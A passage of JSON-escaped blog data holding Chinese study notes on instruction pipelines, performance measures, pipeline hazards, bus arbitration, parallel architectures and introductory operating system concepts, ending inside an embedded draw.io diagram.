id=\"toc_57\"\u003e指令流水线策略\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e增加指令流水线深度\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e局限性\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令执行过程的细化有限度\u003c/li\u003e\u003cli\u003e随着深度增加,缓冲器增多,延迟加大,性能提高受阻碍\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e增加指令流水线条数\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_58\"\u003eRISC-V 基本指令流水线\u003c/h4\u003e\u003col\u003e\u003cli\u003e设计指令获取、执行的硬件逻辑电路\u003c/li\u003e\u003cli\u003e\u003cp\u003e对硬件逻辑分段\u003c/p\u003e\u003cul\u003e\u003cli\u003e尽量使每段处理功能相对独立,处理时间基本均衡。\u003c/li\u003e\u003cli\u003e保证当前指令在执行期间,指令流和数据流始终一个流向。\u003c/li\u003e\u003cli\u003e分段结果己是最细的划分:每段中仅有一个用于指令处理的功能部件。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e段间加入流水线寄存器\u003c/li\u003e\u003cli\u003e设计流水线控制器\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_59\"\u003e流水线性能度量 ⭐️\u003c/h3\u003e\u003ch4 id=\"toc_60\"\u003e时空图\u003c/h4\u003e\u003ch4 id=\"toc_61\"\u003e吞吐率\u003c/h4\u003e\u003cul\u003e\u003cli\u003e单位时间内,流水线所完成的\u003cstrong\u003e任务数\u003c/strong\u003e或\u003cstrong\u003e输出结果的数量\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最大吞吐率 $TP_\\text{max}$\u003c/strong\u003e:流水线在达到稳定状态后所得到的吞吐率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e各段运行时间相等:$TP_\\text{max}=\\frac{1}{T_\\text{CLK}}$\u003c/li\u003e\u003cli\u003e各段运行时间不等:$TP_\\text{max}=\\frac{1}{\\max\\{\\tau_i\\}}=\\frac{1}{\\tau}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e实际吞吐率 $TP$\u003c/strong\u003e:流水线 $m$ 段组成,完成 $n$ 个的任务吞吐率为实际吞吐率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e$m$ 段流水线,各段运行时间相等,为一个时钟周期 $T_\\text{CLK}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e完成 $n$ 个任务所用时间:$T_n(m)=(m+(n-1))\\times\\tau=(m+(n-1))\\times T_\\text{CLK}$\u003c/li\u003e\u003cli\u003e实际吞吐率:$TP=\\frac{n}{T_n(m)}=\\frac{n}{(m+(n-1))\\times T_\\text{CLK}}=\\frac{TP_\\text{max}}{1+\\frac{m-1}{n}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e各段运行时间不等\u003c/p\u003e\u003cul\u003e\u003cli\u003e完成 $n$ 个任务所用时间:$T_n(m)=\\sum_{i=1}^m\\tau_i+(n-1)\\times\\max\\{\\tau_i\\}$\u003c/li\u003e\u003cli\u003e实际吞吐率:$TP=\\frac{n}{T_n(m)}=\\frac{n}{\\sum_{i=1}^m\\tau_i+(n-1)\\times\\max\\{\\tau_i\\}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 $MIPS$ 表示:$TP=MIPS\\times 10^6=\\frac{f_\\text{CLK}}{CPI}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e单流水线计算机系统:由于 $CPI_\\text{最佳}=1$,故 $TP_\\text{max}=f_\\text{CLK}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_62\"\u003e加速比\u003c/h4\u003e\u003cp\u003e加速比 $S$ 定义为等功能\u003cstrong\u003e非流水线执行时间 $T(1)$\u003c/strong\u003e 与\u003cstrong\u003e流水线执行时间 $T(m)$\u003c/strong\u003e 之比。\u003c/p\u003e\u003cp\u003e$$S=S_n(m)=\\frac{T_n(1)}{T_n(m)}$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e$m$ 段流水线,$n$ 个任务,若每段运行时间均为 $τ$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T_n(1)=n\\cdot m\\tau$\u003c/li\u003e\u003cli\u003e$T_n(m)=mτ+(n-1)\\cdot\\tau$\u003c/li\u003e\u003cli\u003e$S_n(m)=\\frac{mn}{m+n-1}=\\frac{m}{1+\\frac{m-1}{n}}$\u003c/li\u003e\u003cli\u003e可见,增大指令流水线的\u003cstrong\u003e级数\u003c/strong\u003e和送入流水线的\u003cstrong\u003e指令数\u003c/strong\u003e均可提高运行速度。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_63\"\u003e效率\u003c/h4\u003e\u003cp\u003e效率即流水线的设备利用率。流水线有通过(填充)时间和排空时间,效率 $E\u0026lt;1$。\u003c/p\u003e\u003ch5 id=\"toc_64\"\u003e各段运行时间相等\u003c/h5\u003e\u003cp\u003e$m$ 个功能段,$n$ 个任务,各段运行时间为 $τ$,各段效率 $e_i$ 相等,即 $e_i=\\frac{nτ}{T_n(m)}$\u003c/p\u003e\u003cp\u003e总效率 $E=\\frac{1}{m}\\sum_{i=1}^{m}e_i=\\frac{nτ}{T_n(m)}=\\frac{n}{m+n-1}=\\frac{1}{1+\\frac{m-1}{n}}$\u003c/p\u003e\u003cp\u003e可见当 $n \\gg m$ 时,$E\\approx 1$。\u003c/p\u003e\u003ch5 id=\"toc_65\"\u003e各段运行时间不等\u003c/h5\u003e\u003cp\u003e$$\nE=\\frac{n\\text{ 个任务占用的时空区}}{m\\text{ 个段总的时空区}}\n$$\u003c/p\u003e\u003ch3 id=\"toc_66\"\u003e指令流水线的性能提高\u003c/h3\u003e\u003ch4 id=\"toc_67\"\u003e结构相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e部分功能单元没有充分流水\u003c/p\u003e\u003cul\u003e\u003cli\u003e解决:将流水线设计得更合理\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e资源冲突:两个以上需要同时使用硬件资源\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e解决\u003c/p\u003e\u003cul\u003e\u003cli\u003e增加资源副本\u003c/li\u003e\u003cli\u003e\u003cp\u003e改变资源以能够并发使用\u003c/p\u003e\u003cul\u003e\u003cli\u003e主存访问冲突:哈佛结构(指令和数据分离)\u003c/li\u003e\u003cli\u003e两个加法器:ALU、地址加法器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e延迟(或暂停)冲突段 / 在冲突段插入流水线气泡\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_68\"\u003e数据相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e操作数未有效生成,就被作为后续指令的操作数\u003c/li\u003e\u003cli\u003e\u003cp\u003e类型\u003c/p\u003e\u003cul\u003e\u003cli\u003e先写后读(RAW,Read After Write)\u003c/li\u003e\u003cli\u003e先读后写(WAR)\u003c/li\u003e\u003cli\u003e写后写(WAW)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e解决\u003c/p\u003e\u003cul\u003e\u003cli\u003e采用转发/直通/相关直接通路技术\u003c/li\u003e\u003cli\u003e增加专用硬件(推后法)\u003c/li\u003e\u003cli\u003e利用编译器\u003c/li\u003e\u003cli\u003e对寄存器读写做特别设计(RISC-V)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_69\"\u003e控制相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e对条件分支指令的处理方法\u003c/p\u003e\u003col\u003e\u003cli\u003e冻结流水线:检测到分支指令就清除紧随分支并插入气泡。\u003c/li\u003e\u003cli\u003e\u003cp\u003e静态分支预测\u003c/p\u003e\u003cul\u003e\u003cli\u003e不会发生\u003c/li\u003e\u003cli\u003e总会发生\u003c/li\u003e\u003cli\u003e编译器预测\u003c/li\u003e\u003cli\u003e测试法\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e动态分支预测\u003c/p\u003e\u003cul\u003e\u003cli\u003e分支历史表(分支预测缓存)\u003c/li\u003e\u003cli\u003e分支历史移位寄存器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e延迟分支:在转移指令之后插入没有数据相关或控制相关的有效指令\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e带转移开销的流水线性能\u003c/p\u003e\u003cul\u003e\u003cli\u003e控制相关对流水线性能造成的损失远比数据相关要大得多。\u003c/li\u003e\u003cli\u003e$\\text{有停顿流水线的实际 CPI}=\\text{理想 CPI}+\\frac{\\text{各种相关造成的停顿周期数}}{\\text{指令数}}$\u003c/li\u003e\u003cli\u003e$\\text{带转移开销流水线的加速比}=\\frac{\\text{流水线深度}}{\\text{有停顿流水线的实际 CPI}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_70\"\u003e提高指令级并行的技术\u003c/h3\u003e\u003cul\u003e\u003cli\u003e乱序执行\u003c/li\u003e\u003cli\u003e推测执行\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_71\"\u003e多发射处理器\u003c/h3\u003e\u003cul\u003e\u003cli\u003e超标量\u003c/li\u003e\u003cli\u003e超长指令字处理器(VLIW)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_72\"\u003e总线与输入 / 输出系统\u003c/h2\u003e\u003ch3 id=\"toc_73\"\u003e总线类型\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e按连接层次\u003c/p\u003e\u003cul\u003e\u003cli\u003e片内总线\u003c/li\u003e\u003cli\u003e系统总线\u003c/li\u003e\u003cli\u003e通信总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e按数据位数\u003c/p\u003e\u003cul\u003e\u003cli\u003e并行总线\u003c/li\u003e\u003cli\u003e串行总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e按用法\u003c/p\u003e\u003cul\u003e\u003cli\u003e专用总线\u003c/li\u003e\u003cli\u003e公用(共享)总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_74\"\u003e总线的信息传输方式\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e过程\u003c/p\u003e\u003col\u003e\u003cli\u003e传输请求\u003c/li\u003e\u003cli\u003e总线仲裁\u003c/li\u003e\u003cli\u003e部件 / 设备寻址\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据传输\u003c/p\u003e\u003cul\u003e\u003cli\u003e并行传送方式\u003c/li\u003e\u003cli\u003e串行传送方式\u003c/li\u003e\u003cli\u003e分时传送方式\u003c/li\u003e\u003cli\u003e消息传送方式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e总线释放\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e同步通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e速度快,逻辑简单\u003c/li\u003e\u003cli\u003e缺点:时钟速率受慢速设备限制\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e异步通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e无时钟信号线\u003c/li\u003e\u003cli\u003e使用握手协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_75\"\u003e总线仲裁\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e集中式仲裁\u003c/p\u003e\u003cul\u003e\u003cli\u003e链式查询方式(菊花链):离总线控制器越近优先级越高\u003c/li\u003e\u003cli\u003e计数器定时查询方式(轮询)\u003c/li\u003e\u003cli\u003e独立请求方式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e \u003c/th\u003e\u003cth\u003e菊花链\u003c/th\u003e\u003cth\u003e轮询\u003c/th\u003e\u003cth\u003e独立请求\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e线数\u003c/td\u003e\u003ctd\u003e$3$\u003c/td\u003e\u003ctd\u003e$2+[\\log_2n]$\u003c/td\u003e\u003ctd\u003e$2n+1$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e可扩充性\u003c/td\u003e\u003ctd\u003e好\u003c/td\u003e\u003ctd\u003e差\u003c/td\u003e\u003ctd\u003e差\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e可靠性\u003c/td\u003e\u003ctd\u003e低\u003c/td\u003e\u003ctd\u003e高\u003c/td\u003e\u003ctd\u003e高\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e优先级\u003c/td\u003e\u003ctd\u003e固定\u003c/td\u003e\u003ctd\u003e可变\u003c/td\u003e\u003ctd\u003e可变\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e总线分配速度\u003c/td\u003e\u003ctd\u003e慢\u003c/td\u003e\u003ctd\u003e慢\u003c/td\u003e\u003ctd\u003e快\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cul\u003e\u003cli\u003e分布式仲裁\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_76\"\u003e典型的总线\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e系统总线(内总线)\u003c/p\u003e\u003cul\u003e\u003cli\u003eISA 总线\u003c/li\u003e\u003cli\u003ePCI 总线\u003c/li\u003e\u003cli\u003ePCIe 总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e通信总线(外总线)\u003c/p\u003e\u003cul\u003e\u003cli\u003eRS-232C\u003c/li\u003e\u003cli\u003eUSB\u003c/li\u003e\u003cli\u003eSCSI\u003c/li\u003e\u003cli\u003eSAS\u003c/li\u003e\u003cli\u003eATA\u003c/li\u003e\u003cli\u003eSATA\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_77\"\u003e输入输出技术\u003c/h3\u003e\u003cul\u003e\u003cli\u003e程序查询方式\u003c/li\u003e\u003cli\u003e中断方式\u003c/li\u003e\u003cli\u003e直接存储器存取(DMA)\u003c/li\u003e\u003cli\u003eI/O 通道\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_78\"\u003e并行体系结构\u003c/h2\u003e\u003cul\u003e\u003cli\u003eSISD: 单指令流单数据流(串行计算机)\u003c/li\u003e\u003cli\u003e\u003cp\u003eSIMD: 单指令流多数据流\u003c/p\u003e\u003cul\u003e\u003cli\u003e阵列处理机\u003c/li\u003e\u003cli\u003e向量处理机\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eMIMD: 多指令流多数据流\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e多处理器系统(共享内存)\u003c/p\u003e\u003cul\u003e\u003cli\u003eUMA:每个处理器 / 内核访问内存的时间一样\u003c/li\u003e\u003cli\u003eNUMA:……不一样\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e多计算机系统(不共享内存,通信采用消息机制)\u003c/p\u003e\u003cul\u003e\u003cli\u003eMPP:大规模并行处理机(高性能)\u003c/li\u003e\u003cli\u003eCluster:集群(性价比\u003c/li\u003e\u003cli\u003e网格(客户端 — 服务器,计算任务只在客户端节点进行,服务器进行任务分发和结果汇总)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\n","url":"https://hawa130.com/archives/834/"},{"title":"操作系统预习笔记","time":"2022-06-22T09:58:00Z","content":"操作系统概述操作系统概念:操作系统是控制和管理计算机硬件和软件资源、合理地组织和管理计算机的工作流程以方便用户使用的程序的集合 。地位:位于硬件(裸机)之上,所有其他(应用)软件之下。它是对硬件...\u003chr /\u003e\n\u003ch2 id=\"toc_79\"\u003e操作系统概述\u003c/h2\u003e\u003ch3 id=\"toc_80\"\u003e操作系统\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e概念\u003c/strong\u003e:操作系统是控制和管理计算机硬件和软件资源、合理地组织和管理计算机的工作流程以方便用户使用的程序的集合 。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地位\u003c/strong\u003e:位于硬件(裸机)之上,所有其他(应用)软件之下。它是对硬件系统功能的首次扩充(虚拟机)。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_81\"\u003e操作系统发展史\u003c/h3\u003e\u003col\u003e\u003cli\u003e串行处理(真空管)\u003c/li\u003e\u003cli\u003e脱机批处理(晶体管)\u003c/li\u003e\u003cli\u003e多道批处理(集成电路)\u003c/li\u003e\u003cli\u003e个人计算机(大规模集成电路)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_82\"\u003e现代操作系统的特征\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e并发\u003c/strong\u003e:指两个或者多个事件在同一时间间隔内发生,是宏观上的并行和微观上的串行。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e共享\u003c/strong\u003e:系统中软硬件资源不再为某个用户(程序)独占,而是可供多个程序共同使用。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚拟\u003c/strong\u003e:指将一个物理实体变为若干逻辑单元。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e不确定性\u003c/strong\u003e:也称为并发程序的异步执行性,主要指程序的执行过程存在高度动态的特征,从而可能引发执行结果的不确定,操作系统必须有效解决这一问题。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_83\"\u003e操作系统的分类\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e分时系统\u003c/strong\u003e:独立性,同时性,及时性,交互性。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e实时系统\u003c/strong\u003e:响应速度快,可靠性和安全性高。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e主要区别\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e \u003c/th\u003e\u003cth\u003e实时系统\u003c/th\u003e\u003cth\u003e分时系统\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e设计目标不同\u003c/td\u003e\u003ctd\u003e多是专用系统\u003c/td\u003e\u003ctd\u003e多是通用系统\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e交互性强弱不同\u003c/td\u003e\u003ctd\u003e外界操作是严格控制的,交互性弱\u003c/td\u003e\u003ctd\u003e允许系统和用户之间有较强的会话能力,交互性强\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e响应时间长短不同\u003c/td\u003e\u003ctd\u003e以控制过程中信息处理能接受的延迟为标准\u003c/td\u003e\u003ctd\u003e以人能接受的等待时间为标准\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_84\"\u003e操作系统内核结构\u003c/h3\u003e\u003ch4 id=\"toc_85\"\u003e微内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e内核保持尽量小,只实现操作系统的基本功能,而将更多功能放在内核之外运行,各模块之间通过消息进行通讯。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e特点\u003c/strong\u003e:内核简单,安全可靠,可移植性好。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_86\"\u003e单内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e内核容纳更多的功能,分为若干个模块,模块间的通信通过调用其它模块中的函数实现(直接调用)。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e特点\u003c/strong\u003e:执行效率高,但可移植性相对减弱。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_87\"\u003e混合内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e单内核和微内核的结合,取长补短,为大多数商业操作系统采用。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_88\"\u003e作业管理和用户接口\u003c/h2\u003e\u003ch3 id=\"toc_89\"\u003e用户接口类型\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e作业控制级接口\u003c/strong\u003e——面向人\u003c/p\u003e\u003col\u003e\u003cli\u003e命令驱动\u003c/li\u003e\u003cli\u003e图形化驱动\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e程序级接口\u003c/strong\u003e——面向应用程序\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统功能调用\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_90\"\u003e系统功能调用\u003c/h3\u003e\u003ch4 id=\"toc_91\"\u003e程序的管态和算态\u003c/h4\u003e\u003col\u003e\u003cli\u003e操作系统运行的状态称为管态(系统态, 核心态)\u003c/li\u003e\u003cli\u003e用户程序运行的状态称为算态(用户态, 目态)\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_92\"\u003e指令类型\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e特权指令\u003c/strong\u003e:一类只能在管态下执行而不能在算态下执行的特殊指令。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e访管指令\u003c/strong\u003e:引发访管中断的指令,运行在算态。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e广义指令\u003c/strong\u003e:操作系统提供的每一个子功能(系统调用程序)被抽象成的一个系统调用命令。\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e访管指令本身不是特权指令,它会引发访管中断,进而进入系统态执行系统调用(广义指令),在系统调用程序中可能会嵌入特权指令。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"toc_93\"\u003e系统调用\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e概念\u003c/strong\u003e:系统调用是指用户在程序中调用操作系统提供的一些子功能,是用户在程序级请求操作系统服务的一种手段。\u003c/p\u003e\u003ch5 id=\"toc_94\"\u003e过程\u003c/h5\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" width=\"452px\" height=\"321px\" viewBox=\"-0.5 -0.5 452 321\" content=\"\u0026lt;mxfile host=\u0026quot;Electron\u0026quot; modified=\u0026quot;2022-06-21T05:24:53.947Z\u0026quot; agent=\u0026quot;5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/15.8.7 Chrome/91.0.4472.164 Electron/13.6.2 Safari/537.36\u0026quot; etag=\u0026quot;kAHyp_jutfYlrab-mVb0\u0026quot; version=\u0026quot;15.8.7\u0026quot; type=\u0026quot;device\u0026quot;\u0026gt;\u0026lt;diagram id=\u0026quot;dCws1yf_HOOZkeMMr0yw\u0026quot; name=\u0026quot;第 1 页\u0026quot;\u0026gt;7Vpbk+IoFP41VO0+2JWQi8ljonH2WtW1Xbsz84gGY2ZicBFb3V+/QMAkipdpYzvb2y8K5xwg4Zzv4wABzmC++UDRYvY7SXEBoJVugDMEEPaDgP8KwbYS+JZbCTKap5XIrgVP+T9YCS0lXeUpXrYMGSEFyxdt4YSUJZ6wlgxRStZtsykp2qMuUIYPBE8TVBxKP+Ypm1VS1w8aip9wns3U0I5jqSefI22tBMsZSsm6IXIS4AwoIawqzTcDXIjJ0xNTtRsd0e4egOKSXdLgQ2/+88cvX70/Nh7+9Otfz4P1L9serHp5RsVKvTFIXBAHIBqCxAehLwseiFwQuCDpg9ACgQ+SAMQjEPSFJApAEKtXZFs9cZSsyhSLoS3gxOtZzvDTAk2Eds0jhctmbF7wms2LU1Iy5Xvb5/UCjXHxSJY5y0nJhRP+iphyxTOmLOfe+W3PYJ6nqRg5RkWeGVtESsGIGFu9NdfhzdHptHdO4tGNyRwzuuUmqgHsK7+qyHZVdV2HCXSUbNaMEB0PSIVmtuu6dh4vKP99gy9tgy89EEcgrDznClftHFapgtH/z3Ne23E2PPScbfKcfTvPuQdewCnnIVUtSSlmqO0YQtmMZKTkU0rEzEh3fMGMbZU/0IqRtrPwJmefRPMHT9U+NzTDjepZVraq0nSwo+oDUhDuoWGKp2hVsJ1XxDOf9gl/RbKiE3xiLnzF8ohmmJ2wC80+prhALH9uP0fnDvMNUOOcmYA4EQiLh6IsCg6IY1mIQTiStMn502nA0RMQjPuiEEIQDJQkgJJ+PWHfGUCdjpgvaAOob2A+28R8N4OP/93Ch08p3TYaiernpq5uJmt3g114Iexsyxwbr4O70JyujEAo05UgEokKtAaPf/JfgbIgEQgS4BqI5e57h5JpLXplLPXfsXQtlrTDzoPpSHS8Dpj0YzbRBH05GXwAJHZVM0SX6g38v1dipxKv2LQX1NVWqGihmOHeUk45x5xlO4uNNK0b+Zn6l8MtF6j8po6sSlHZC01J6BwVDd1agUUoXcuqNAWPSUx7fLhJXmaHLTmQWS/nkV2qlpYeT2oYReVyyu11S4kFgVZC03avu4ZjNPmaSbj0JlXMCTXNxj9AzwOQe85qFn5sDJfiCaGoypPb46X5clGgbSXOyyLXimlBENuzPph0kViMQOTJlIUX4KWZCt8KhpZhByFsIrk/5LmLJ3uWSUzkaOatKHgIBN35Cm6jyus6Erpk5lMI75av75/7BO98fTVf65Ols3wN78rXhg3+C/j6hdTrvlNvJ9QbhCDqS+q15XbvkGgPT2jeEmXC+6e44TtlXk2Z8FLKdO5KmYbz7XfK/G9RprxqCGVyGfLcNNFJqiMT2UTkl2+LIO+eU0LHcMxicoNasPiiFsgzTF8k+Ppq7Ai91kya1NIO2bbBtTXzXnO2jYuxvLbT9xHgBbcc1d3F2SuOMWGMzDtmaudSpj4ZpT3rwQlcddB6MXmr7h5Jzh+7NiHTqeDc/TjdjXoF4RtC9yW0Da2TzN1S75M3PM/f2sRI4S2licW1gZnItfYMl1sNOrcajN4a3Ujq2sLE67uJ2aN2cypsy8OH6naZO+TEue1bInjn7hkw9O5J0bp8CUXXCXErHa6z46sSYgO1d8i80L2Qef0rU2TZNKIUbRsGC8G5SwMJ66h09tIO22vG1Vn7wNsLw+oBOmVzaLpn5bvigbgZrc4YQ9vwwYopuOWS3A7Is+vx7uMEivn6gMayPxFeanJ5514MvOH1bKK+X1JDgN0muRl3J6B8lHusB8vXY7x01dafbrUb3G4N17hped10cCLu2+XpMy9wobAZyI+SXLFBiA4/qrj3dZ+/BznrcCGwX3chOH16fOtcvfPvUG5M6P0LCb2K4HsdeujHbOHnghueTtFylEq7h5Ht3Q5GvFp/oVkRXP2dq5P8Cw==\u0026lt;/diagram\u0026gt;\u0026lt;/mxfile\u0026gt;\" style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cdefs/\u003e\u003cg\u003e\u003crect x=\"220\" y=\"0\" width=\"230\" height=\"320\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 228px; height: 1px; padding-top: 7px; margin-left: 221px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e中断处理过程\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"23\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e中断处理过程\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"0\" y=\"80\" width=\"130\" height=\"120\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" 